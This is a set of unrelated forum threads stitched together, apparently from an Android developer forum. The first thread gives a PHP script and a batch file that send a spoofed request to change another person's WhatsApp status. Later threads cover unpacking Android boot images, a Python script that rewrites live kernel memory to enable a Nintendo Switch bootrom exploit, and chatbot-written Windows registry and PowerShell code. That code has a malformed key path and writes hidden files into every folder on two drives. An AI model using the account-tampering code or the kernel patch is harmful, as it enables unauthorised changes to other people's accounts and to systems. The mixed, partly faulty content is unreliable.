http://whatsappstatus.net/
With this app you can change someones whatsapp status. Tried it and it worked.
The key is patience....
If someone likes to try it run it in a php script.
CC: CountryCode
ME: Phone number
S: Status
1.<?php
2.
3.$fields = array(
4. 'cc' => '31',
5. 'me' => '+31600000000',
6. 's' => 'Youre hacked'
7. );
8.
9.//url-ify the data for the POST
10.foreach($fields as $key=>$value) { $fields_string .= $key.'='.urlencode($value).'&'; }
11.rtrim($fields_string,'&');
12.
13.//open connection
14.$ch = curl_init();
15.
16.//set the url, number of POST vars, POST data
17.curl_setopt($ch,CURLOPT_URL,'https://s.whatsapp.net/client/iphone/u.php');
18.curl_setopt($ch,CURLOPT_POST,count($fields_string));
19.curl_setopt($ch,CURLOPT_POSTFIELDS,$fields_string);
20.curl_setopt($ch, CURLOPT_HTTPHEADER, array(
21. "User-Agent: WhatsApp/2.6.7 iPhone_OS/5.0.1 Device/Unknown_(iPhone4,1)",
22. "Cache-Control: no-cache",
23. "Pragma: no-cache",
24. "Content-Type: application/x-www-form-urlencoded",
25. "Accept-Encoding: gzip, deflate",
26. "Accept-Language: en-us",
27. "Accept: */*"
28. ));
29.
30.//execute post
31.$result = curl_exec($ch);
32.
33.//close connection
34.curl_close($ch);
35.
36.print_r($result);
[APP][WIN]WhatsApp Status Changer
http://www.wiretrip.org/2012/01/12/how-whatsappstatus-net-works/
Update #3: WhatsApp implemented an IP check – so this doesn’t work as well as it used to. The check entails checking if the update-request is for a WhatsApp account currently signed in, and checks if it is coming from the same IP as the target client is using. This means above could should still work for target WhatsApp users behind the same NAT (for example).
Click to expand...
Click to collapse
How to use the status changer:
1. download the appropiate windows package of curl on http://curl.haxx.se/download.html
extract curl.exe to a certain folder
2. search for msvcr100.dll on C:\ and copy the newest occurence into the certain folder
(on my PC it was in a folder of Java)
3. make sure both your Phone with Whatsapp and your PC are in the same WLAN (they need to have the same IP), make sure Whatsapp is running on your phone (you need to be online)
4. run whatsapp_status.bat:
Code:
@ECHO OFF
:first
if not "%~1"=="" goto setnumber
echo Please enter your phone number (starting with +):
set /p number=
goto second
:setnumber
set number=%~1%
goto second
:second
if not "%~2"=="" goto setstatus
echo Please enter your new status:
set /p status=
goto exec
:setstatus
set status=%~2
goto exec
:exec
curl --data-urlencode cc="31" --data-urlencode me="%number%" --data-urlencode s="%status%" -A "WhatsApp/2.6.7 iPhone_OS/5.0.1 Device/Unknown_(iPhone4,1)" -H "Accept: */*" -H "Accept-Language: en-us" -H "Accept-Encoding: gzip, deflate" -L -k -v https://s.whatsapp.net/client/iphone/u.php
alternatively run with variables:
whatsapp_status.bat "+491234567890" "new status "
Dosent work
DOSENT WORK ANYMORE!
https://youtu.be/u0zkAFyGDzA
:good:
*xXx* said:
DOSENT WORK ANYMORE!
Click to expand...
Click to collapse
Hello, i want to edit some files in a recovery.img file but i cant open the .img file. Can anybody tell me how to open .img files?
Thanks in advance.
Sent from my GT-I9001 using XDA Premium App
martijn.vanpoorten said:
Hello, i want to edit some files in a recovery.img file but i cant open the .img file. Can anybody tell me how to open .img files?
Thanks in advance.
Sent from my GT-I9001 using XDA Premium App
Click to expand...
Click to collapse
Well, it depends of its internal format, can be samsung stock firmware format or not. You know it visually because is named factoryfs.img or system.img or either includes ext3 or ext4 or similar. Other times its yaffs filesystem.
Check here:
[HOW TO][Windows]Extract Deodex Sign and Zipalign an official ROM
From the Android device you can use AppExtractor or Nandroid Browser if it is in the proper filesystem format.
I think you must have a source for the recovery.img.
PhoneM96 said:
I think you must have a source for the recovery.img.
Click to expand...
Click to collapse
Not to just extract it.
scandiun said:
Well, it depends of its internal format, can be samsung stock firmware format or not. You know it visually because is named factoryfs.img or system.img or either includes ext3 or ext4 or similar. Other times its yaffs filesystem.
Check here:
[HOW TO][Windows]Extract Deodex Sign and Zipalign an official ROM
From the Android device you can use AppExtractor or Nandroid Browser if it is in the proper filesystem format.
Click to expand...
Click to collapse
Thanks for the info and pointing me into a direction, i will read the posts you added
scandiun said:
Not to just extract it.
Click to expand...
Click to collapse
PhoneM96 said:
I think you must have a source for the recovery.img.
Click to expand...
Click to collapse
I already have the recovery.img file i need. I only need to open it and see if i can make some changes to some files regarding the height and width. It looks like the version is build for an 7.1 tab
martijn.vanpoorten said:
I already have the recovery.img file i need. I only need to open it and see if i can make some changes to some files regarding the height and width. It looks like the version is build for an 7.1 tab
Click to expand...
Click to collapse
He means the source code of the img file, not the img. We already take for granted you already have it. Did you finally extract it?
scandiun said:
He means the source code of the img file, not the img. We already take for granted you already have it. Did you finally extract it?
Click to expand...
Click to collapse
Nope, still didn't extract it.
Here is what i have: recovery.tar.md5 I can open the file with winrar and extract the content and end up with the recovery.img file. How can i open the .img file and extract the content. I want to see what's inside and if i can edit the files, i want to learn more about it.
rename the md5 to tar and open it with winrar or peazip.
scandiun said:
He means the source code of the img file, not the img. We already take for granted you already have it. Did you finally extract it?
Click to expand...
Click to collapse
scandiun said:
rename the md5 to tar and open it with winrar or peazip.
Click to expand...
Click to collapse
I know that if when i rename .tar.md5 to just .tar i can use winrar to open the file. When the file is open i see a recovery.img file then i extrract the recovery.img to my desktop. How can i open the recovery.img file? I want to extract the content of the recovery.img file so i can see how it works and what is inside the recovery.img
martijn.vanpoorten said:
I know that if when i rename .tar.md5 to just .tar i can use winrar to open the file. When the file is open i see a recovery.img file then i extrract the recovery.img to my desktop. How can i open the recovery.img file? I want to extract the content of the recovery.img file so i can see how it works and what is inside the recovery.img
Click to expand...
Click to collapse
Try Diskinternals Linux Reader and mount the image with cntrol+m
This is exactly I want to do too. I only have the recovery.img but I want to modify the height and wight of it, because it designed for 7" and I want it to 10"... I managed to open it but looks like we need the source because I haven't found anything about it.
scandiun said:
Try Diskinternals Linux Reader and mount the image with cntrol+m
Click to expand...
Click to collapse
I can't open the file with DiskInternals Linux Reader.
Gaboros said:
This is exactly I want to do too. I only have the recovery.img but I want to modify the height and wight of it, because it designed for 7" and I want it to 10"... I managed to open it but looks like we need the source because I haven't found anything about it.
Click to expand...
Click to collapse
We are looking for the same thing
Another thing that would be nice is when the option to boot into recovery or download mode is added to the shutdown menu. I have CM9 on my phone and that has these options. It's very usefull ...
Try this script under linux or windows (you need perl installed) and see if you get "Android Magic not found" error.
[ADVANCED] How To Mod: BOOT & RECOVERY
Firmware Multi-booting
split_bootimg.pl
Code:
#!/usr/bin/perl
######################################################################
#
# File : split_bootimg.pl
# Author(s) : William Enck <[email protected]>
# Description : Split appart an Android boot image created
# with mkbootimg. The format can be found in
# android-src/system/core/mkbootimg/bootimg.h
#
# Thanks to alansj on xda-developers.com for
# identifying the format in bootimg.h and
# describing initial instructions for splitting
# the boot.img file.
#
# Last Modified : Tue Dec 2 23:36:25 EST 2008
# By : William Enck <[email protected]>
#
# Copyright (c) 2008 William Enck
#
######################################################################
use strict;
use warnings;
# Turn on print flushing
$|++;
######################################################################
## Global Variables and Constants
my $SCRIPT = __FILE__;
my $IMAGE_FN = undef;
# Constants (from bootimg.h)
use constant BOOT_MAGIC => 'ANDROID!';
use constant BOOT_MAGIC_SIZE => 8;
use constant BOOT_NAME_SIZE => 16;
use constant BOOT_ARGS_SIZE => 512;
# Unsigned integers are 4 bytes
use constant UNSIGNED_SIZE => 4;
# Parsed Values
my $PAGE_SIZE = undef;
my $KERNEL_SIZE = undef;
my $RAMDISK_SIZE = undef;
my $SECOND_SIZE = undef;
######################################################################
## Main Code
&parse_cmdline();
&parse_header($IMAGE_FN);
=format (from bootimg.h)
** +-----------------+
** | boot header | 1 page
** +-----------------+
** | kernel | n pages
** +-----------------+
** | ramdisk | m pages
** +-----------------+
** | second stage | o pages
** +-----------------+
**
** n = (kernel_size + page_size - 1) / page_size
** m = (ramdisk_size + page_size - 1) / page_size
** o = (second_size + page_size - 1) / page_size
=cut
my $n = int(($KERNEL_SIZE + $PAGE_SIZE - 1) / $PAGE_SIZE);
my $m = int(($RAMDISK_SIZE + $PAGE_SIZE - 1) / $PAGE_SIZE);
my $o = int(($SECOND_SIZE + $PAGE_SIZE - 1) / $PAGE_SIZE);
my $k_offset = $PAGE_SIZE;
my $r_offset = $k_offset + ($n * $PAGE_SIZE);
my $s_offset = $r_offset + ($m * $PAGE_SIZE);
(my $base = $IMAGE_FN) =~ s/.*\/(.*)$/$1/;
my $k_file = $base . "-kernel";
my $r_file = $base . "-ramdisk.gz";
my $s_file = $base . "-second.gz";
# The kernel is always there
print "Writing $k_file ...";
&dump_file($IMAGE_FN, $k_file, $k_offset, $KERNEL_SIZE);
print " complete.\n";
# The ramdisk is always there
print "Writing $r_file ...";
&dump_file($IMAGE_FN, $r_file, $r_offset, $RAMDISK_SIZE);
print " complete.\n";
# The Second stage bootloader is optional
unless ($SECOND_SIZE == 0) {
print "Writing $s_file ...";
&dump_file($IMAGE_FN, $s_file, $s_offset, $SECOND_SIZE);
print " complete.\n";
}
######################################################################
## Supporting Subroutines
=header_format (from bootimg.h)
struct boot_img_hdr
{
unsigned char magic[BOOT_MAGIC_SIZE];
unsigned kernel_size; /* size in bytes */
unsigned kernel_addr; /* physical load addr */
unsigned ramdisk_size; /* size in bytes */
unsigned ramdisk_addr; /* physical load addr */
unsigned second_size; /* size in bytes */
unsigned second_addr; /* physical load addr */
unsigned tags_addr; /* physical addr for kernel tags */
unsigned page_size; /* flash page size we assume */
unsigned unused[2]; /* future expansion: should be 0 */
unsigned char name[BOOT_NAME_SIZE]; /* asciiz product name */
unsigned char cmdline[BOOT_ARGS_SIZE];
unsigned id[8]; /* timestamp / checksum / sha1 / etc */
};
=cut
sub parse_header {
my ($fn) = @_;
my $buf = undef;
open INF, $fn or die "Could not open $fn: $!\n";
binmode INF;
# Read the Magic
read(INF, $buf, BOOT_MAGIC_SIZE);
unless ($buf eq BOOT_MAGIC) {
die "Android Magic not found in $fn. Giving up.\n";
}
# Read kernel size and address (assume little-endian)
read(INF, $buf, UNSIGNED_SIZE * 2);
my ($k_size, $k_addr) = unpack("VV", $buf);
# Read ramdisk size and address (assume little-endian)
read(INF, $buf, UNSIGNED_SIZE * 2);
my ($r_size, $r_addr) = unpack("VV", $buf);
# Read second size and address (assume little-endian)
read(INF, $buf, UNSIGNED_SIZE * 2);
my ($s_size, $s_addr) = unpack("VV", $buf);
# Ignore tags_addr
read(INF, $buf, UNSIGNED_SIZE);
# get the page size (assume little-endian)
read(INF, $buf, UNSIGNED_SIZE);
my ($p_size) = unpack("V", $buf);
# Ignore unused
read(INF, $buf, UNSIGNED_SIZE * 2);
# Read the name (board name)
read(INF, $buf, BOOT_NAME_SIZE);
my $name = $buf;
# Read the command line
read(INF, $buf, BOOT_ARGS_SIZE);
my $cmdline = $buf;
# Ignore the id
read(INF, $buf, UNSIGNED_SIZE * 8);
# Close the file
close INF;
# Print important values
printf "Page size: %d (0x%08x)\n", $p_size, $p_size;
printf "Kernel size: %d (0x%08x)\n", $k_size, $k_size;
printf "Ramdisk size: %d (0x%08x)\n", $r_size, $r_size;
printf "Second size: %d (0x%08x)\n", $s_size, $s_size;
printf "Board name: $name\n";
printf "Command line: $cmdline\n";
# Save the values
$PAGE_SIZE = $p_size;
$KERNEL_SIZE = $k_size;
$RAMDISK_SIZE = $r_size;
$SECOND_SIZE = $s_size;
}
sub dump_file {
my ($infn, $outfn, $offset, $size) = @_;
my $buf = undef;
open INF, $infn or die "Could not open $infn: $!\n";
open OUTF, ">$outfn" or die "Could not open $outfn: $!\n";
binmode INF;
binmode OUTF;
seek(INF, $offset, 0) or die "Could not seek in $infn: $!\n";
read(INF, $buf, $size) or die "Could not read $infn: $!\n";
print OUTF $buf or die "Could not write $outfn: $!\n";
close INF;
close OUTF;
}
######################################################################
## Configuration Subroutines
sub parse_cmdline {
unless ($#ARGV == 0) {
die "Usage: $SCRIPT boot.img\n";
}
$IMAGE_FN = $ARGV[0];
}
Here is my method for it.
First I used this tools.
http://www.mediafire.com/?9pllpht41e62d77
It is not my work, so sorry for reupolading but I didn't found the source!
Rename the recovery.img to boot.img (basically it was designed for this, but they the same) and put it there. And use the tool for unpack it for kernel and ramdisk.gz file.
Then You have to unpack it in linux (if I know well it is the best to do it there because if the filesystem)
For example:
"gunzip -c boot.img-ramdisk.gz | cpio -i"
It will unpack it, you have to do the necessarily changes. Than repack it:
"find . | cpio -o -H newc | gzip > ../newramdisk.cpio.gz"
Note this is pack the whole folder when you run it.
Then you just need to pack them back to img file.
But as I said I didn't found anything in connection with the resolution. It is quit sad because the recovery is working in my device but it designed for smaller screen and everything is display wrong.
It would be great if anyone know something about how to fix this without the source code, or someone could help me how to port the CWM from the original source.
This could help a bit to. But you got to mod the files a bit to you're device.
http://forum.xda-developers.com/showthread.php?t=1494036
[email protected] said:
This could help a bit to. But you got to mod the files a bit to you're device.
http://forum.xda-developers.com/showthread.php?t=1494036
Click to expand...
Click to collapse
Sorry for the late reply,
Thanks for the link and i will take a look at it again. I noticed that the best way is to use Linux. I had to reinstall Ubuntu firts but now it's all good to go
thanks man
Sent from my Nokia 5110 using Tapsilog and Kape
Beer Brand said:
thanks man
Sent from my Nokia 5110 using Tapsilog and Kape
Click to expand...
Click to collapse
i will be back to this soon..
Sent from my Transformer TF101 using Tapatalk HD
In the below code, where the item’s position and title is getting saved in list_items works fine if list_items and items are ArrayList. For ex;
Code:
ArrayList.add(ArrayList.get(position));
But I am trying to use listview:
Code:
ArrayList.add(Listview.get(position));
The problem exists on line # 10
Code:
1. final Listadapter Adapter = new Listadapter(this,packageList1, packageManager);
2. items.setAdapter(Adapter);
3. items.setChoiceMode(apps.CHOICE_MODE_MULTIPLE_MODAL);
4. items.setMultiChoiceModeListener(new AbsListView.MultiChoiceModeListener() {
5. @Override
6. public void onItemCheckedStateChanged(ActionMode mode, int position, long id, boolean checked) {
7. count = count +1;
8. mode.setTitle(count + "items selected");
9. //problem resides in the below line
10. [B]list_items.add(items.get(position));[/B]
11. }
In the above code, on selecting an item from listview I am trying to save it in an Arraylist i.e list_items which could be used in onActionItemClicked method for further action on that respective item.
Any ideas on how to solve or find a workaround to use a listview in the above situation?
Basically, there has been an app ported to Android that allows even unrooted(stock) devices to deliver a bootrom exploit to the Nintendo Switch via USB-OTG and a USB cable (or C-to-C). USB 3.0 (xHCI) devices have no issues and deliver the exploit just fine. Apparently it is not even a USB 2.0 problem but rather how the EHCI performs, as certain USB 2.0 phones actually have the xHCI controller and can run the exploit just fine. What happens is that although it can detect the connected Switch in Tegra Recovery Mode, it just doesn't do anything and gives an error in the logs, "SUMBITURB failed".
On Linux desktop systems it is similar, but the exploit can still work with a kernel patch provided by a hacking group that discovered the exploit in the first place:
Code:
--- linux-4.14.27/drivers/usb/host/ehci-hcd.c.old 2018-04-17 18:00:00.000000000 +0000
+++ linux-4.14.27/drivers/usb/host/ehci-hcd.c 2018-04-17 18:00:00.000000000 +0000
@@ -873,14 +873,6 @@
INIT_LIST_HEAD (&qtd_list);
switch (usb_pipetype (urb->pipe)) {
- case PIPE_CONTROL:
- /* qh_completions() code doesn't handle all the fault cases
- * in multi-TD control transfers. Even 1KB is rare anyway.
- */
- if (urb->transfer_buffer_length > (16 * 1024))
- return -EMSGSIZE;
- /* FALLTHROUGH */
- /* case PIPE_BULK: */
default:
if (!qh_urb_transaction (ehci, urb, &qtd_list, mem_flags))
return -ENOMEM;
The author of the Android port had also written a Python "hotpatch" script for desktop Linux systems:
Code:
#!/usr/bin/env python3
import os
"""
Cursed Code.
This code literally patches your kernel memory, proceed at your own risk.
Tested on Ubuntu 17.10 and Arch, x86_64. Should work on other distros, maybe even other architectures!
Run fusee-launcher.py with the "--override-checks" argument.
If you'd rather patch your drivers properly:
https://github.com/fail0verflow/shofel2/blob/master/linux-ehci-enable-large-ctl-xfers.patch
"""
ksyms = {
line[2]: int(line[0], 16)
for line in
map(lambda l: l.strip().split(),
open("/proc/kallsyms", "r").readlines())}
print(hex(ksyms["ehci_urb_enqueue"]))
patch_c = """
#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/pgtable.h>
static u32 ORIG_MAX = 16*1024;
static u32 NEW_MAX = 0x1000000;
/* borrowed from MUSL because I'm lazy AF */
static char *fourbyte_memmem(const unsigned char *h, size_t k, const unsigned char *n)
{
uint32_t nw = n[0]<<24 | n[1]<<16 | n[2]<<8 | n[3];
uint32_t hw = h[0]<<24 | h[1]<<16 | h[2]<<8 | h[3];
for (h+=3, k-=3; k; k--, hw = hw<<8 | *++h)
if (hw == nw) return (char *)h-3;
return 0;
}
static pte_t* (*lookup_addr)(unsigned long, unsigned int*) = (void *) PLACE2;
static void set_addr_rw(unsigned long addr) {
unsigned int level;
pte_t *pte = lookup_addr(addr, &level);
set_pte_atomic(pte, pte_mkwrite(*pte));
}
int init_module(void) {
void * ehci_urb_enqueue_start = (void *) PLACEHOLDER;
u32 * patch_addr;
printk(KERN_INFO "Patch module loaded\\n");
patch_addr = (u32 *) fourbyte_memmem(ehci_urb_enqueue_start, 0x400, (void *)&ORIG_MAX);
if (patch_addr == NULL) {
printk(KERN_INFO "Failed to find patch site :(\\n");
return -1;
}
printk(KERN_INFO "patch_addr: 0x%px\\n", patch_addr);
set_addr_rw((unsigned long)patch_addr);
*patch_addr = NEW_MAX;
printk(KERN_INFO "Patching done!\\n");
return -1;
}
""".replace("PLACEHOLDER", hex(ksyms["ehci_urb_enqueue"])).replace("PLACE2", hex(ksyms["lookup_address"]))
makefile = """
obj-m += patch.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
"""
with open("patch.c", "w") as patchfile:
patchfile.write(patch_c)
with open("Makefile", "w") as mf:
mf.write(makefile)
os.system("make")
print("About to insert patch module, 'Operation not permitted' means it probably worked, check dmesg output.")
os.system("insmod patch.ko")
I tried to see if running it in Termux would do anything but I got the following error:
Code:
0x0
Traceback (most recent call last):
File "ehci_patch.py", line 70, in <module>
" " ".replace("PLACEHOLDER", hex(ksyms["ehci_urb_enqueue"])).replace("PLACE2" hex(ksyms["lookup_address"]))
KeyError: 'lookup_address'
I know that script isn't meant for use on Android anyway but maybe it can lead to a solution. The author of it does not know how to go about it at this time either, but believes an entire recompile of the kernel would be necessary. I am hoping that something like a systemless Magisk module would be the easiest solution for users but do not know if that is possible. I am only guessing it might be possible to create a Magisk module because of audio drivers like VIPER4Android. If indeed a custom kernel is needed, does anyone know how to go about it? It could be difficult to implement for everyone because not everyone has a device where the source to the kernel is available, etc. I am willing, however, to test anything on my tablet which is USB 2.0 and gives the error in the app. Any advice for how to go about this will be greatly appreciated.
I feel ya man, i need this stuff too. NXLoader doesn't work on my Galaxy Grand Prime (G530T) and i really need it to Dx
Windows 11 how do I make all files and folders appear as General items and always sorted by date modified and detailed view?
I'm doing the usual ways through file options, but it doesn't work.
In all folders and for some reason it doesn't remember what settings I saved. Is there a way or reg file to make it sealed in the system and that can't be changed?
Chat gpt gave this yet to try ( didn't worked )
Spoiler: Windows Registry Editor Version 5.00
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell]
"FolderType"="NotSpecified"
[HKEY_CURRENT_USER/Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}
"LogicalViewMode"=dword:00000001
"Mode"=dword:00000004
"SortColumn"="prop:System.DateModified"
"SortOrder"="dword:00000001"
Also when win+e it opens home and there are a bunch of things and it slows down, there is a change button to open my computer but it also changes back
When I press saved shortcuts favorites on the left side of the Quick access toolbar, it finds the folder it is in and the view jumps down, and every time I have to scroll up again and again each time I press any favorite.
And when, for example, I need to select a file to upload somewhere, it also does not save the settings and every time hell need yi change the view manually
Please help to sort these problems
Thanks
chat gpt gave this script for PowerShell, not sure if it works
Spoiler: # Specify the view mode and sorting options $viewMode = 1
# Specify the view mode and sorting options
$viewMode = 1 # 1 for Details view
$sortColumn = "System.DateModified"
$sortOrder = 1 # 1 for ascending order, 0 for descending order
# Function to update the view settings for a folder
function UpdateFolderView($folderPath) {
# Path to the desktop.ini file
$desktopIniPath = Join-Path -Path $folderPath -ChildPath "desktop.ini"
# Check if the desktop.ini file exists
if (!(Test-Path -Path $desktopIniPath)) {
# Create the desktop.ini file
New-Item -Path $desktopIniPath -ItemType File | Out-Null
}
# Set the attributes of the desktop.ini file to be hidden and system
(Get-Item -Path $desktopIniPath).Attributes = 'Hidden', 'System'
# Update the content of the desktop.ini file
@"
[ViewState]
Mode=$viewMode
Vid=$sortColumn
Sort=$sortOrder
"@ | Out-File -FilePath $desktopIniPath -Encoding ASCII
}
# Specify the drive letters to target
$driveLetters = 'C', 'F'
# Loop through each drive
foreach ($driveLetter in $driveLetters) {
$drivePath = "$($driveLetter):\"
# Get all folders, including hidden ones, on the drive
$folders = Get-ChildItem -Path $drivePath -Directory -Recurse -Force -ErrorAction SilentlyContinue
# Loop through each folder and update the view settings
foreach ($folder in $folders) {
$folderPath = $folder.FullName
try {
UpdateFolderView -folderPath $folderPath
} catch [System.UnauthorizedAccessException] {
Write-Warning "Skipping folder: $folderPath. Access denied."
} catch {
Write-Warning "An error occurred while processing folder: $folderPath."
}
}
}
Best Windows 11 Folder Settings [Tips & Tricks]
If you wish to keep your PC folder organized, you must check out these Windows 11 folder settings tips and tricks.
windowsreport.com